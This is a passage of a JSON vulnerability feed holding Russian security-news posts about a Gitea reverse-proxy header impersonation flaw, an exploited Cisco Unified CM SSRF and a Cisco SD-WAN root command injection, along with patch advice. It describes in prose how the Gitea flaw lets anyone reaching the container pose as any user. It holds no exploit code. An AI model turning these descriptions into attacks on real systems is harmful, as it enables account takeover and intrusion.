\u0437\u0430\u0434\u0430\u043d \u0441\u0438\u043c\u0432\u043e\u043b \"*\". \u0414\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0435\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 ENABLE_REVERSE_PROXY_AUTHENTICATION = true, \u0447\u0442\u043e\u0431\u044b Gitea \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440, \u0438 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 REVERSE_PROXY_TRUSTED_PROXIES \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u044d\u0442\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u0441 \u043b\u044e\u0431\u043e\u0433\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e IP, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0441\u0442\u0438\u0447\u044c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430.\n\n\u041b\u044e\u0431\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a HTTP-\u043f\u043e\u0440\u0442\u0443 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 Gitea - \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440 - \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0447\u044c\u0435 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0438\u043b\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443\u0433\u0430\u0434\u0430\u043d\u043e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0437\u044b Docker Gitea \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 1.26.2 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 1.26.3, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, \u0433\u0434\u0435 \u0431\u044b\u043b \u0443\u0434\u0430\u043b\u0435\u043d \u0441\u0438\u043c\u0432\u043e\u043b \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \"*\", \u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0442\u0430\u043b\u0430 \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439.\n\nSysdig \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043f\u0435\u0440\u0432\u043e\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0441\u043f\u0443\u0441\u0442\u044f 13 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0435\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f. \u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043e 6200 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445 Gitea.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 ProtonVPN, 159.26.98[.]241, \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0430\u0442\u0430\u043a\u0435. \u041a\u0430\u043a \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u044d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u043d\u0430 \u0440\u0430\u043d\u043d\u0435\u0439 \u0441\u0442\u0430\u0434\u0438\u0438, \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0430\u0442\u0430\u043a\u0430 \u0443\u0441\u043f\u0435\u043b\u0430 \u0440\u0430\u0437\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u0437\u044b.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438 \u043d\u0430\u0447\u0430\u0432\u0448\u0443\u044e\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043a\u0440\u0430\u0439\u043d\u0435 \u0432\u0430\u0436\u043d\u043e \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043e\u043f\u0442\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.", "creation_timestamp": "2026-07-13T13:00:05.388873Z"}, {"uuid": "94230f93-b54a-403b-ab29-3e80cb881bb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/true_secator/8368", "content": "Cisco \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Unified Communications Manager (Unified CM), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0438\u044e\u043d\u044f.\n\nUnified CM (Cisco CallManager) - \u044d\u0442\u043e \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f IP-\u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0435\u0439 Cisco, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0430\u044f \u0437\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044e \u0432\u044b\u0437\u043e\u0432\u043e\u0432, \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2026-20230) \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 (SSRF) \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441.\n\n3 \u0438\u044e\u043d\u044f Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u00a0\u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0437\u0430\u044f\u0432\u0438\u0432, \u0447\u0442\u043e \u0435\u0435 \u0433\u0440\u0443\u043f\u043f\u0430 PSIRT \u0437\u043d\u0430\u043b\u0430 \u043e \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e PoC \u0434\u043b\u044f CVE-2026-20230, \u043d\u043e \u043d\u0435 \u0438\u043c\u0435\u043b\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0440\u0438 \u043d\u0435\u0434\u0435\u043b\u0438 \u0441\u043f\u0443\u0441\u0442\u044f, 22 \u0438\u044e\u043d\u044f, Defused \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u0438 \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438,\u00a0\u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 file:// \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u0414\u043d\u0451\u043c \u043f\u043e\u0437\u0436\u0435 SSD Secure \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u043b\u043e\u0441\u044c, \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0412 \u0441\u0440\u0435\u0434\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u043a\u043e\u043d\u0435\u0446 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 CVE-2026-20230, \u0438 \u043f\u0440\u0438\u0437\u0432\u0430\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0442 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u0412 \u0438\u044e\u043d\u0435 Cisco PSIRT \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\nCisco \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c \u043c\u0435\u0440\u0430\u043c\u0438 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 \u0434\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0438 \u0433\u0440\u0443\u043f\u043f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u0438 Cisco Unified CM 14SU6 \u0438\u043b\u0438 15SU5, \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u0432 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u043b\u0443\u0436\u0431\u0443 WebDialer \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u043f\u0430\u0442\u0447, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 CVE-2026-20230.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f Shadowserver \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u00a0\u0431\u043e\u043b\u0435\u0435 200 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Cisco Unified CM, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0441\u0435\u0442\u0438, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0432 \u0410\u0437\u0438\u0438 \u0438 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435, \u043d\u043e \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043d\u0438\u0445 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043e \u043e\u0442 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0430\u0442\u0430\u043a CVE-2026-20230 \u043d\u0435 \u044f\u0441\u043d\u043e.", "creation_timestamp": "2026-07-13T13:00:05.885443Z"}, {"uuid": "359a58f3-273b-4334-a5db-ba479edde88a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/true_secator/8345", "content": "\u041f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Cisco Catalyst SD-WAN (CVE-2026-20245) \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 root \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nCVE-2026-20245 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Cisco Catalyst SD-WAN Manager (vManage), Controller (vSmart) \u0438 Validator (vBond), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043e \u043d\u0435\u0439 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0430\u0442\u0430\u043a,\u00a0\u043d\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u0422\u043e\u0433\u0434\u0430 Cisco \u043b\u0438\u0448\u044c \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0439 \u043d\u0430 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c SD-WAN.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c 